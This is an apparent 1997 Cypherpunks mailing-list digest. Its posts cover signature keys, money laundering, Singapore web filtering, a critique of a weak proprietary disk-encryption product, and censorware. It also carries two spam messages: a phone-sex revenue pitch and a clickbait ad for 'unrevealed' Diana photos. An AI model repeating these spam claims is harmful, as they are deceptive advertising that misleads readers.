MYTH EXPOSURE WARNING!!!
  "Recidivism" is the natural impulse of us all, not just the
officially recognized criminals amoung us.
  I broke out of prison, once. In order to assure that 'they' could
not recapture me, I built a concrete fortress with high walls, and
I put armed guards in towers at the corners. I put locked, barred
doors on all the rooms, so that myself and my guests are safe. I
hired armed guards to patrol my fortress in order to maintain the
order and discipline needed to ensure eveyone's safety. I never
leave the comfort and safety of my fortress.
  Hence I am now assured that they will never take me back to prison.
Never...

  Well, it looks like I was right about this being a pretty lame,
meaningless missive.
  I think I'll spend the rest of the day putting up "God's Canadian
Hate Speech Page" at: 
http://www3.sk.sympatico.ca/carljohn/godhate/godhate.htm
  After all, it's Sunday.

Toto/TruthMonger/C.J.Parker/sog/sonofgomez/Anonymous
"And A Multiple Schizoid Personality Fracture To Be Named Later"

p.s. -
CORRECTION: 
The following should be followed by the following: "or vice-versa"
[I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed]

p.p.s. - Since I can only Blind CC: so many people at a time, and I
  am too fucking lazy to edit out the original Reply To: recipients,
  this will result in a number of duplicate spams going to those
  addresses.
  At the risk of sounding like a hypocrite who will use things she
  does not believe in to serve his own self-interest, I would like
  to remind the whiners out there that it would be a bad idea to
  complain to or seek retribution on me this close to the yearly
  visit of a certain Jolly Old Bearded Fat Man. (hint: not me--the
  old fart who prefers 'nice' girls, not 'naughty' ones)







From zahn at berlin.snafu.de  Sun Dec  7 12:30:53 1997
From: zahn at berlin.snafu.de (Steffen Zahn)
Date: Mon, 8 Dec 1997 04:30:53 +0800
Subject: Complete package for Cantsin Protocol No. 2
Message-ID: <199712072015.VAA02081@n245-198.berlin.snafu.de>



Hello,

I have put together a package for Cantsin 2 Signatures, to
generate the keys, sign documents and check signatures.

Prerequisites are:

perl Version 5
libgmp Version 2.*
a C compiler
currently /dev/random for generation of keys and signatures

precompiled binaries are provided for Linux-ELF (libc-5.*), if you have
that you don't need libgmp.

Pick it up from http://www.snafu.de/~zahn/cantsin.tar.gz (70 KByte)

Regards
  Steffen

(p,g,y,name):
EDE1EACA8EB7C5AC77E9359BC176D1A42A9FA7AF54C21AADB6B593A373F1B200632BECB3A183C2C0DFC9BF11E9C1B9612CDC49A61A9F3D6EF77CC6DED0463311AAAF4E4D763DE44147011EF32B5E19E695C91C13D0C7565B84FCF78DD0056FDA4CB3D62E9B454AAC439BFC2A4603FBCD92438235DAC319E51CC9E6DC6FD6C3B9156D8FB71C91E695F37
E0CEDAD16326221ABDF7A3C8315BB1034EE6E14E9F3BF157C01C30AA130E0AB9A1662AE81C0AD9007BE52442695577F51C424CD8890EA999DD09CC894630B76A0B81A3BD7101F53BAF548BB967E6068CAFBA55E851CEFEE1DF637B172B35DA52D07A0A8AA365195829E2822FCDD2B5D6314CFB4F79BDA0AC4E927FF577ABB14719D79079A9193BF2940
1D18C5FBC462B9FF584790FE306B496159DD0DD9F9FC1CB483F9E8924668F17C20347C251F55C3013A5D6012B2A91024E1F3F182C5ED6B2A297D4A4395B89725467A40C795CB31A3AF6C7772ECF682F5A736C62713B669C80A4F139EA7527E0A7E7DCF616CD1C804D13C273834164F3306FF8A281A1F565250A16ABD391E5915FE8B02890CB90F34BC6
Steffen Zahn (Key1)


-- 
home email:  user at domain where domain=berlin.snafu.de, user=zahn
Use of my address for unsolicited commercial advertising is forbidden.
                 "Where do you want to crash today?"
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
712ADCBCF936ECA98E9F5D12AE0138F0436836A1
C7939FF3B061847AA129E842B2F9E5539678D4F4
-5DA 5DA
B51C3B7381DB4C6695FA50B94789D94CAD2FB2CAFF7900AD4E88B4BFC8F4AFA2D48CBE740601E77B11FB9FB1C0EE0E1AF92A3BA8AEE7A63E5C674236F5CB74683150D7C58250138EF78A72EB91B617D6F3EE65A6B5A26B2AE409940DCA5475A87732032F8AB1351B1C8B7B0D273EF83AB6004C6FA308EAA849E4CEEAFDB64B4D4B7E64ECACE4710F682
80AF4F3AA1CE9DA07FF9C94FA797B29014B7308D50EF50E071606E5653550D8FA50E3D2559C19DE987A18028DEFB2847D29B6A32F3912A8C68C3BEEB6B9A7D88066E53116E4561E3255D3324A649F592C01F82D5CE2FB2EAE081BBB935677CBD3A32ECC108856E5FB47255C8847FEC36FAC0196BBD8F2DE6368D11F32BF572BE014E49DBCCDF14EA098






From mixmaster at remail.obscura.com  Sun Dec  7 12:56:48 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Mon, 8 Dec 1997 04:56:48 +0800
Subject: Cato forum tomorrow: should money laundering be a crime?
Message-ID: <199712072035.MAA14649@sirius.infonex.com>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Steve Schear wrote:
>This topic, of course, is near the top of many libertarian e-commerce 
>agendas.  Almost every mainstream news article and regulatory report repeats 
>the littany that Money Laundering, that is the movement of money to disguise 
>it origin (even if there are no predicate offenses) must remain illegal 
>because it damages or is a threat to the world banking and financial system 
>(not just the tax take of governments), but I have yet to see any 
>explanation of how and why.  Anyone care to comment?

Might be a bit of a stretch, but I think this is because money today is 
inherently a liability, that is a debt that someone, somewhere has promised 
to pay back.  Such is the nature of fractional reserve banking and 
debt-based currencies under which the international financial system 
functions.

Thus if the origin of the money (the indebted party) is obscured, it becomes 
increasingly difficult to manage the quality of the world's money supply.  
After all, how can the issuer of the money collect on the debt that 
ultimately backs it when the issuer has no idea who to collect the debt 
from?  Take away the ability to manage debt effectively and the issuer's 
money quickly becomes worthless (be it a commercial bank issuing deposit 
currency as a loan to its customers or a government's central bank issuing 
cash currency to its citizens based on a debt placed upon future generations 
of citizens).

A money's value is measured by the quality of debt backing it.  If the debt 
is defaulted on (whether through obscurity, Chapter 11, etcetera), the money 
loses value, which in turn can have negative systemic repercussions 
throughout the world's financial markets.  The recent Asian currency 
devaluations (South Korea in particular) and the accompanying financial woes 
are a good example of what happens when the debt quality of money devalues.

Nerthus

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0

mQGiBDR6Du8RBAD/Atm9StFSTuaNTOtM0wH+BsKQcU8sB6kykqiRsCdfeoPdI2cW
TifPTIFFJuSRb9JCda6OQcafloXeAN9nbE+GweDQGk9qQ3egsukPXZ1QLaZhx8Y0
bbbs1EKyNMIpPK0JyFycC+ehKbOVNnB+LlcofROS6C2BqxV6jV2bTh4/OwCg/3RA
+J+IBZKJ+t8SrkePekrr8VkD+gMrK6wghoYjPJjve4GFNtIclbltnaxPvNblt3Gn
TS+AKXRXvRvtqlbh6nkOzJZCGgDl5S4Sl9ugQZm4Dnhv1wJJptw1VaNIvx4vJh5k
0Ehv0QqLyyJLM1qkb+qSm726fj7x2VMUDz1B2J8BZnRSeyX7Owv96l2hbfhsWOSL
kTzsA/47BVqGxA5aQhvXSuD6OuvzAsSNZUUL2pnyYmCkX/DrGzG1BDgb9AdUPbql
s138nr/yLjBXwbbZnrqVLLBn9mVfqQZL1HB9MgKFaCT8Pi2Q/EpyM5kN/sMkA/c/
nmk6JVHvPyCdLwJLA0r5iKHyPbZyPbc6C1FfXD9V92O3dhvCw7QjTmVydGh1cyA8
Y3lwaGVycHVua3NAY3liZXJwYXNzLm5ldD6JAEsEEBECAAsFAjR6Du8ECwMBAgAK
CRAWtXd85uJ6jrcdAJ0bB92r7CriqXzXAmPC5ldE0VftWACgoiV33M0m6V3L0OsV
CFPIMuVS3oaJARUDBRA0eg8e4VbBl7TmNwkBAQXECACjSwCnkSP9Dv06s0HMLvT9
DwjXryxvx+oMgO6CjHe5eHmLpyNDMTuhnZYByr/DU9iWAEvAYJncAl7/o7e8OcU/
vrzU2hAcjS9yaKN/Q1ltZAhg01hLhadlxvclaxuHVZ/TaO+ci5Ew1d7wzMPBWUyE
jBDHVN4902pTBaPpGqBV3yGYg5I403L9+bB8qD1Od8ALr83ha/mF6MRYV4m0Qar+
GHs6wwH3Zi+gAQMUVkC1rvJKoGicHBL7Ky+NmdydCTi4IBpiIalsdOVAF6aNkRI6
q41hmNYevzmjsk4KWQdCi+FWKj1f+soxyGPK4/lkQk17EWpdYR63+GpU88ecmrBy
uQENBDR6Dv0QBADYL1ossXAnUFX3NgVrEg4BvRr8wyhrRrddBKI9XE8vLNdHoci1
7Xtor82Fr3kyBTx/6jW2HIkuFe1PPaJqjoXfxMQc/e5xbG3Sc65VgxUqY369rc0X
yPWXnkDgGaeLJfMP6YEFWqOwyGGSkySKaiQrZXJdPnudjAhB4Aq4W/ZC4QACAgP/
UmOxIbdm014V8jSZHDpMCvHX69xMcKxk6pofza4fM+NN6wZLrUA9+us6JKMxq3j/
tSBX4M/VwhmtXdn27lbrR4blwQM/u0jGgqk3qAwEXiv2TweYCpWtfuEjbmv9LKpC
um/6Sh/KhlNGoyxm6eEOTG3hSH6rKiCTACbtuotDQhKJAD8DBRg0eg79FrV3fObi
eo4RAqt/AJ9qf0ixg3olUg2kYJEbmHMVzx+6EwCcC91whsrTD2nsNdCUkzhc333R
Aoo=
=aekz
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIiUkxa1d3zm4nqOEQLaYQCcDRU9qkloaPTshE3coevIIdDxlXQAnjVx
fcCqzFIilN8K6KLj346uJkCP
=0xDo
-----END PGP SIGNATURE-----







From lizard at dnai.com  Sun Dec  7 15:51:42 1997
From: lizard at dnai.com (Lizard)
Date: Mon, 8 Dec 1997 07:51:42 +0800
Subject: Singapore
In-Reply-To: <01bd026d$85c8c4a0$06060606@russell>
Message-ID: <3.0.3.32.19971207114051.034b4498@dnai.com>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 05:07 PM 12/7/97 +0800, Harish Pillay wrote:
>I did come across some ill-informed post (not by Phillip though :-)) 
that 
>said that there are national filters to Internet access here.  Well, 
indeed,
>the top level ISPs here have choosen to use filtering proxy servers 
to filter 
                              ^^^^^^^^
>out an alleged list of 100 porno sites (you can see that there is an 
on going 
>URL hunt to discover these filtered sites on 
>www.sintercom.org/hunt/rahunt.html.  

And if any of those ISP's "chose" not to engage in such filtering, 
how long would they be permitted to stay in business?
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIr7wjKf8mIpTvjWEQLwWgCgx10JTQ0HL3oHqnbOtgSNqkGmhbIAoLiw
yQW0aSbt7jFdSa4a5exAobyW
=JC1J
-----END PGP SIGNATURE-----






From stewarts at ix.netcom.com  Sun Dec  7 15:51:57 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 8 Dec 1997 07:51:57 +0800
Subject: Security of Encrypted Magic Folders
In-Reply-To: <3.0.32.19691231160000.007076c4@shell15.ba.best.com>
Message-ID: <3.0.3.32.19971207145749.02f64da8@popd.ix.netcom.com>



TUCOWS lists the product with 5 cows.
www.pc-magic.com says ZD Net awarded it 5 stars,
but http://www6.zdnet.com/cgi-bin/texis/swlib/hotfiles/info.html?fcode=000IBY
says it's "Not Rated" as of 10/15/97.

> Sounds like a crock.  See the Snake-Oil FAQ.

Precisely - it looks like they've probably got a friendly user interface,
but doesn't have adequate security.  I'm disappointed that they'd get
a 5-whatevers rating without that quality behind it.

>From the MF.TXT documentation:
>~> CHKDSK won't run with Encrypted Magic Folders installed.  
>~> We disable ChkDsk because it can delete all your invisible files, 
>~> including the file containing your password data.

Sounds like it's playing some game using lost chains or equivalent.
No thanks :-)  But it's actually not a bad place to hide stuff,
if you expect amateurs to break into your system.

>>    EMF's encryption offers good protection and excellent speed.  It
>>    hasn't been broken yet.  It is, as far as we know, exportable. 

"As far as we know" means "We haven't applied for export permission",
which means "so we don't have a clue".  If it _did_ have export permission,
that would imply they'd either had some serious discussion with the Feds,
allowing export of a strong product for limited applications/customers,
or else that it was too wimpy for the Feds to care so they said OK.

>>    Quite a few people ask us how big EMF's key size is.  They've learned
>>    from other encryption programs that the bigger the key the stronger
>>    the encryption.  This really doesn't apply to EMF.

"Yow!  I'm using rot1313131313 with an 8192-bit key!"
With cryptographically strong algorithms, the key length determines
the amount of work required to crack them.  With weak algorithms,
adding longer and longer keys doesn't help any.

>>    We developed our own encryption instead of using a standard because
>>    we wanted EMF to be able to decrypt at the byte level.  In this way
>>    we only need to decrypt/encrypt the data your programs require and
>>    not the entire file.

Not a bad goal, for some applications, like communications.
For encrypting disk files, where you'll typically be grabbing
clusters of 512-8192 bytes at a time, it's unnecessary, and
weakening your encryption just to provide it is a big lose.
For some database applications, it may make sense, but generally
the amount of time required to decrypt a block of disk is
faster than the disk's seek time anyway, and I wouldn't trust a
serious database to a system that won't let you run chkdsk
and requires thought before using scandisk and defragmenters.

>>    In theory, because we decrypt at the byte level, the biggest key we
>>    could use would be 8 bits - which is a joke.  So instead of
>>    decrypting every hunk of data using the same key, as most other
>>    encryption programs do, we developed an algorithm to vary the key
>>    based on the data's location within the file.  In this way we get
>>    both high security and high speed.  We are trying to patent EMF's
>>    encryption method.

Many other algorithms actually provide this capability, typically by
using block chaining algorithms like CBC.  Varying the key based on
location in the file reduces the success of dictionary searches,
if done carefully, but if you're using an algorithm that
has a maximum keysize of the blocksize, anybody who figures out
the way you vary the 8-bit key by location can crack it trivially.
Furthermore, you *didn't* say that the key really was more than
8 bits...

Patenting requires revealing the algorithm, losing any supposed 
security you had by keeping it secret.  So you might as well reveal it now,
and let professional cryptographers take a look at it.

Patenting an algorithm doesn't mean the Patent Office thinks it's any good;
that's beyond their expertise.  It means they believe you when you say
it's new and unique, but with cryptography, there's a large amount of
prior art that's outside the expertise of a typical patent examiner.

>>    Having said all that, truth is, most encryption isn't "cracked" by
>>    breaking the algorithm, it's done by guessing the password.  Brute
>>    guessing of passwords tends to level the playing field tremendously.
>>    We actually have an advantage because we aren't an established
>>    standard.  Because we're small and relatively obscure chances are no
>>    one will take the effort to write a password guessing program (which
>>    incidentally would violate copyright and intellectual property laws.)

Being obscure doesn't help - anybody who's trying to guess the password
already knows the victim is using your program, and can disassemble it.

Anybody who's trying to crack somebody's disk drive without their permission
isn't going to be bothered by violating your clickwrap license,
especially if they're police engaged in legitimate crime fighting
or illegitimate warrantless searches.

>>    Even if someone were to go thru all this effort we could easily
>>    change the encryption method for the next update.
Doesn't help someone whose disk is already encrypted with your product.

>>    If we used an established encryption method like DES or Blowfish then
>>    your files would probably have to be fully decrypted when opened,
>>    would exist on disk as unencrypted while you're using them, and then
>>    would need to be encrypted when closed.  

That's not dependent on the algorithm, it's dependent on the interface
used to get the material off the disk.  Some encryption systems
encrypt the whole file on opening, or at system boot,
while others are file system or disk drivers that
encrypt/decrypt a block at a time and never leave the material unencrypted
on disk.  Surely you'd know that if you wrote such a program yourself.

>>    If you still think you'd like to see us use a standard encryption
>>    method like DES or Blowfish, or have any other suggestions, let us
>>    know and we will consider your input in future updates

If you don't use a standard algorithm, you need to publish the one you use
so people will know if it's any good.  There are a few people who can get
away without doing this, based on their reputation in the field,
but _you're_ not Ron Rivest, and even _he_ got much flak from the community
for keeping RC2 and RC4 trade secret for a while.  If you had the 
academic credentials to get away with it, you'd also know not to make
statements like the ones you make about export and obscurity.

So do the right thing - use algorithms that there's a good reason
to trust, and do the user interface stuff you do well.

				Thanks! 
					Bill
Bill Stewart, stewarts at ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From mixmaster at remail.obscura.com  Sun Dec  7 16:03:14 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Mon, 8 Dec 1997 08:03:14 +0800
Subject: Cato forum tomorrow: should money laundering be a crime?
Message-ID: <199712072343.PAA22192@sirius.infonex.com>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Steve Schear wrote:
>This topic, of course, is near the top of many libertarian e-commerce 
>agendas.  Almost every mainstream news article and regulatory report repeats 
>the littany that Money Laundering, that is the movement of money to disguise 
>it origin (even if there are no predicate offenses) must remain illegal 
>because it damages or is a threat to the world banking and financial system 
>(not just the tax take of governments), but I have yet to see any 
>explanation of how and why.  Anyone care to comment?

Might be a bit of a stretch, but I think this is because money today is 
inherently a liability, that is a debt that someone, somewhere has promised 
to pay back.  Such is the nature of fractional reserve banking and 
debt-based currencies under which the international financial system 
functions.

Thus if the origin of the money (the indebted party) is obscured, it becomes 
increasingly difficult to manage the quality of the world's money supply.  
After all, how can the issuer of the money collect on the debt that 
ultimately backs it when the issuer has no idea who to collect the debt 
from?  Take away the ability to manage debt effectively and the issuer's 
money quickly becomes worthless (be it a commercial bank issuing deposit 
currency as a loan to its customers or a government's central bank issuing 
cash currency to its citizens based on a debt placed upon future generations 
of citizens).

A money's value is measured by the quality of debt backing it.  If the debt 
is defaulted on (whether through obscurity, Chapter 11, etcetera), the money 
loses value, which in turn can have negative systemic repercussions 
throughout the world's financial markets.  The recent Asian currency 
devaluations (South Korea in particular) and the accompanying financial woes 
are a good example of what happens when the debt quality of money devalues.

Nerthus

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0

mQGiBDR6Du8RBAD/Atm9StFSTuaNTOtM0wH+BsKQcU8sB6kykqiRsCdfeoPdI2cW
TifPTIFFJuSRb9JCda6OQcafloXeAN9nbE+GweDQGk9qQ3egsukPXZ1QLaZhx8Y0
bbbs1EKyNMIpPK0JyFycC+ehKbOVNnB+LlcofROS6C2BqxV6jV2bTh4/OwCg/3RA
+J+IBZKJ+t8SrkePekrr8VkD+gMrK6wghoYjPJjve4GFNtIclbltnaxPvNblt3Gn
TS+AKXRXvRvtqlbh6nkOzJZCGgDl5S4Sl9ugQZm4Dnhv1wJJptw1VaNIvx4vJh5k
0Ehv0QqLyyJLM1qkb+qSm726fj7x2VMUDz1B2J8BZnRSeyX7Owv96l2hbfhsWOSL
kTzsA/47BVqGxA5aQhvXSuD6OuvzAsSNZUUL2pnyYmCkX/DrGzG1BDgb9AdUPbql
s138nr/yLjBXwbbZnrqVLLBn9mVfqQZL1HB9MgKFaCT8Pi2Q/EpyM5kN/sMkA/c/
nmk6JVHvPyCdLwJLA0r5iKHyPbZyPbc6C1FfXD9V92O3dhvCw7QjTmVydGh1cyA8
Y3lwaGVycHVua3NAY3liZXJwYXNzLm5ldD6JAEsEEBECAAsFAjR6Du8ECwMBAgAK
CRAWtXd85uJ6jrcdAJ0bB92r7CriqXzXAmPC5ldE0VftWACgoiV33M0m6V3L0OsV
CFPIMuVS3oaJARUDBRA0eg8e4VbBl7TmNwkBAQXECACjSwCnkSP9Dv06s0HMLvT9
DwjXryxvx+oMgO6CjHe5eHmLpyNDMTuhnZYByr/DU9iWAEvAYJncAl7/o7e8OcU/
vrzU2hAcjS9yaKN/Q1ltZAhg01hLhadlxvclaxuHVZ/TaO+ci5Ew1d7wzMPBWUyE
jBDHVN4902pTBaPpGqBV3yGYg5I403L9+bB8qD1Od8ALr83ha/mF6MRYV4m0Qar+
GHs6wwH3Zi+gAQMUVkC1rvJKoGicHBL7Ky+NmdydCTi4IBpiIalsdOVAF6aNkRI6
q41hmNYevzmjsk4KWQdCi+FWKj1f+soxyGPK4/lkQk17EWpdYR63+GpU88ecmrBy
uQENBDR6Dv0QBADYL1ossXAnUFX3NgVrEg4BvRr8wyhrRrddBKI9XE8vLNdHoci1
7Xtor82Fr3kyBTx/6jW2HIkuFe1PPaJqjoXfxMQc/e5xbG3Sc65VgxUqY369rc0X
yPWXnkDgGaeLJfMP6YEFWqOwyGGSkySKaiQrZXJdPnudjAhB4Aq4W/ZC4QACAgP/
UmOxIbdm014V8jSZHDpMCvHX69xMcKxk6pofza4fM+NN6wZLrUA9+us6JKMxq3j/
tSBX4M/VwhmtXdn27lbrR4blwQM/u0jGgqk3qAwEXiv2TweYCpWtfuEjbmv9LKpC
um/6Sh/KhlNGoyxm6eEOTG3hSH6rKiCTACbtuotDQhKJAD8DBRg0eg79FrV3fObi
eo4RAqt/AJ9qf0ixg3olUg2kYJEbmHMVzx+6EwCcC91whsrTD2nsNdCUkzhc333R
Aoo=
=aekz
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIiUkxa1d3zm4nqOEQLaYQCcDRU9qkloaPTshE3coevIIdDxlXQAnjVx
fcCqzFIilN8K6KLj346uJkCP
=0xDo
-----END PGP SIGNATURE-----







From promo54 at hotmail.com  Mon Dec  8 08:51:52 1997
From: promo54 at hotmail.com (promo54 at hotmail.com)
Date: Mon, 8 Dec 1997 08:51:52 -0800 (PST)
Subject: FREE FOR YOUR SITE !!!
Message-ID: <199712081636.LAA28350@mail1.auracom.net>


///////////////////////////////////////////////////////////////////////////////
This Message is Directed Towards Adult Webmasters Only!!!!!
If you wish to be removed, please reply with the subject "Remove" and this
software will automatically block you from future mailings.
////////////////////////////////////////////////////////////////////////////////

Hello Adult Webmaster,

I came across your website and found that you may be interested in our
services...Placing 011,800,900 PHONESEX numbers on your site!(Free to
WebMasters) 

Looking to make extra income from your adult site???? You'll make $$$ 
off every minute someone calls your number. All you do is advertise 
the number on your site!  We supply you with 900, 800 or 011 number(s),
Your choice of Straight, Gay, or Fetish lines available, online call 
stats(for tracking your income) and full customer service. 
FREE FREE FREE 

NOW SUPERFAST STARTUP ONLINE:    http://www.cyberfun.ca

Thanking you in advance! 

Sincerely,
Chris Rose
Account Executive
Rosenbrewer Communications
chris at cyberfun.ca







From vznuri at netcom.com  Sun Dec  7 17:00:47 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Mon, 8 Dec 1997 09:00:47 +0800
Subject: NYTimes oped: Federal laws better than censorware
In-Reply-To: <3.0.1.16.19971204120003.2ff7b144@pop.interport.net>
Message-ID: <199712080048.QAA16328@netcom9.netcom.com>




I still don't understand why it is "censorship" when any
company can come up with any software that rates sites
according to any scheme, and anyone can choose to use
any package, or ignore the software altogether. there is total freedom 
in all of this.

Declan, why is it that you are now editorializing against an
editorial that asks for government standards & laws instead of
free market ones? are you starting to finally figure out that
private enterprise filtering systems, while having huge 
aspects that are not all that pleasant, are superior to the
alternative? (btw, I don't like the claims of the editorial
either, but that has always been my position on this issue--
that private enterprise 
systems are superior to government censorship)

I agree that PICS was introduced in part to try to come up
with a solution to the problem of offensive content that
could be presented as an alternative to any government 
involvement. people on the net want to solve their own problems
on the net, without laws, in general.

everyone who continues to rant against filtering companies
strike me as people who are screaming sour grapes. "we don't
like the choices these companies have made!!" but just start
your own!! the market is deciding what filtering company
is doing the best job, mostly regardless of your ranting.
and surprise!! guess what!! the market may not actually
decide that it even cares whether filtering products are
up front about informing what sites they filter.

what, it takes a lot of work to filter sites? well, you're
damn right-- doing anything of value requires a lot of work,
and the filtering companies are working hard to improve their
technology, no thanks to the screechings of a lot of people
who feel that they have some better way of judging filtering
software than the parents who use it.

the net will continue to support schemes that help separate,
segregate, and rate content, and those who reject such ideas as
"censorship" are going to be seen as increasingly out-of-touch
and clueless about how the technology works.

does anyone claim it is censorship because a service interested
in rating "cool sites" does not rate many sites it thinks are not
cool? why then is there so much controversy when a *service*
designed to rate *sites acceptable to children* does not include
certain sites? can anyone tell me the difference? answer: many
people wish to be the judge of what children can and cannot see.
but ultimately,  does anyone other than a parent have the
authority to do this? in a free society, which I think we
still live in, that is?

if you think you are a better judge of what children should
see, create your own service that includes whatever you think
is being excluded. the market may support you. or, the market
may thumb its nose at you.

(however, postscript to all of the above,
I do agree that any government laws making filtering
software in some way mandatory is bogus and abhorrent.)






From paparazzi at www.kornet.nm.kr  Mon Dec  8 09:08:30 1997
From: paparazzi at www.kornet.nm.kr (paparazzi at www.kornet.nm.kr)
Date: Mon, 8 Dec 1997 09:08:30 -0800 (PST)
Subject: DIANA : The Unrevealed Pics (NEW URL)
Message-ID: <83100301925.AB42044@netscoop50.net>



Note : If you want your name permanently REMOVED from this list, please e-mail :
removelist at mlweb.com

For the first time on the internet, here are the UNREVEALED pics of DIANA !
Given the sensitive nature of the material involved, only adults will access the site.
Go to http://151.196.201.51/diana/










From nobody at REPLAY.COM  Sun Dec  7 17:34:58 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 8 Dec 1997 09:34:58 +0800
Subject: New key
Message-ID: <199712080128.CAA16001@basement.replay.com>



Monty Cantsin writes:
>Some readers have suggested that my El Gamal key values were not
>chosen correctly.  My previous key used a random large prime, but
>Schneier suggests choosing one with a guaranteed large prime factor
>("Applied Cryptography", section 11.6).
>
>To correct that I offer a new El Gamal key which I will use for
>signing:

It is somewhat ironic that you would create a key on this particular
weekend.  I trust you will not mind if I use the older key.  Probably
anybody with the resources to crack it has something worthwhile to
say. ;-)  (Caught that little trick in the selection of g.  Cute!)

I'll try to maintain the high standards you've set for the key,
although it is likely these efforts will fall short.  I've admired
your well thought out, informative, and modest posts for some time
now.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: New key
To: cypherpunks at algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
E1344393323DFFFD78D9745F8A826F5EF9AA28C0
-3F0 3F0
6669CE2A6565DA07C36257C406C946229A2FE2D639123E0E48069723951175920BA8AE7571BB8E7F8A8DB2B9B46982AB514AFF058EAD4AAF4DD9957217050F8E7385952B79017BE2B40475477D618A50AB145D1B06462D20B34677A6624A573AF17B429A4D6E38E04CDA64C87AA44080EFC9AB47558CFDFCE108D4B03E82E72FE067F61EED1F96C0C20FEDA0308E6B89D856AED23C7D0B0B638D036E4584E4C0C14A0180861362BA3FAE8D888E656759DDE94007AAF25C31619BE9330E882C9AEFE0B4DA7A9FB4AE742DE77B7A5EAE262DD69EF8941D87737667BC07A2A08E5E573151992DD35C3521473EA4E6199E27E9444D6B9A18618299837643E01CB2B3
18D56038290D31FC952F97E09A6AB4FB39DB7BB4445DF37F7DF0E53EE58F891AE781D0EB595AAAF32CA2FDD051EDA715843CCC77B89FEEAC0237D50C4D63BD6FB62E33B7EFD8E197013282E3E983E4D9066A6428954DDDF3F74613F8197729D3F1EC3DAD701266992155BAE443F042F6A015165C6FA5D5EEBEE638495D24AA27C70F58DEF248D93AF00D90E57E19AA52A629ABE2010642D4BE44968A020F988393B9E57A9D69F8F0367949F58B88FAE889F96B2169089E11C5BD2582F9E9A8524F28F96A697F83C723016521A2DB26F00F71B8ADF2DC9A95732CBDDB31E7E2CFF72E6698FD55105D820A08D70A9EE755CF1BFC1CFD7A389DA936869B04C1DF77








From frissell at panix.com  Sun Dec  7 17:36:07 1997
From: frissell at panix.com (frissell at panix.com)
Date: Mon, 8 Dec 1997 09:36:07 +0800
Subject: Indices of Economic Freedom
In-Reply-To: <199712052330.SAA21451@mx01.together.net>
Message-ID: <3.0.2.32.19971207201559.03c265c0@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 06:31 PM 12/5/97 -0500, Brian B. Riley wrote:

> What are the criteria for these 'indices of economic freedom' ??? 
>
> Thanks

There are two competing indices:

ECONOMIC FREEDOM OF THE WORLD 1997

http://192.197.214.46/cgi-
bin/foliocgi.exe/fraser.nfo/query=*/doc/{t62614,16444}?

Published by CATO, The Fraser Institute, and most of the other Market Liberal 
think tanks of the world.

The components of their Index can be found at:

http://192.197.214.46/cgi-
bin/foliocgi.exe/Images97.nfo/object/Bitmap/FREE1997+!2D+EX1!2D1/object.gif?

and 

The Index of Economic Freedom 

http://www.townhall.com:80/heritage/library/categories/forpol/econ_index/toc.h
tml.cgi

Published by the Heritage Foundation and the Wall Street Journal.

The components of their Index can be found at:

http://www.townhall.com:80/heritage/library/categories/forpol/econ_index/ch4.h
tml.tlr

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNItKTYVO4r4sgSPhAQEeHwQAw5FXEnKK53n6eSW9wpZ766fN6JT1/o/w
F1sus1lW4qIzMcjw1M6VwhL/G8jHjYBS9dZa7axk0rTi5e+NW/XBqzZqJWCgepMp
4dMGhjnS3RgwWdh/zPRixcRZR4JZlK45wCxZVcjYOWLMfS9LLotaDW4rbQWLBef2
PvN6HWyRamw=
=ykNS
-----END PGP SIGNATURE-----






From tcmay at got.net  Sun Dec  7 17:37:07 1997
From: tcmay at got.net (Tim May)
Date: Mon, 8 Dec 1997 09:37:07 +0800
Subject: Singapore
In-Reply-To: <199712070907.RAA05005@brokat.com.sg>
Message-ID: 



At 12:40 PM -0700 12/7/97, Lizard wrote:

>At 05:07 PM 12/7/97 +0800, Harish Pillay wrote:
>... Well,
>indeed,
>>the top level ISPs here have choosen to use filtering proxy servers
>to filter
>                              ^^^^^^^^
>>out an alleged list of 100 porno sites (you can see that there is an
>on going
>>URL hunt to discover these filtered sites on
>>www.sintercom.org/hunt/rahunt.html.
>
>And if any of those ISP's "chose" not to engage in such filtering,
>how long would they be permitted to stay in business?

That would be doubleplus ungood. It is the duty of all to enforce mandatory
voluntary controls on thoughtcrime.

And anyone who chooses not to comply with mandatory voluntary controls is
clearly mentally unbalanced, and will be treated with compassion in a
Ministry of Harmony recovery center.

***

Seriously, I haven't been to Singapore, and don't plan to visit anytime
soon. But I really can't say whether the thought control regimen is
extremely bad, or just somewhat bad. What I do know is that I am deeply
suspicious of claims that controls are "willingly accepted" by the
majority, as some defenders of Singapore have claimed. Where rights get
interesting is on the margins, not back in the herd where the sheeple live.

Ditto for Germany, where defenders of German censorship claim it is the
will of most of the people that they be locked up should they question
details of the Holocaust, or deny that it occurred, or commit other
thoughtcrimes.

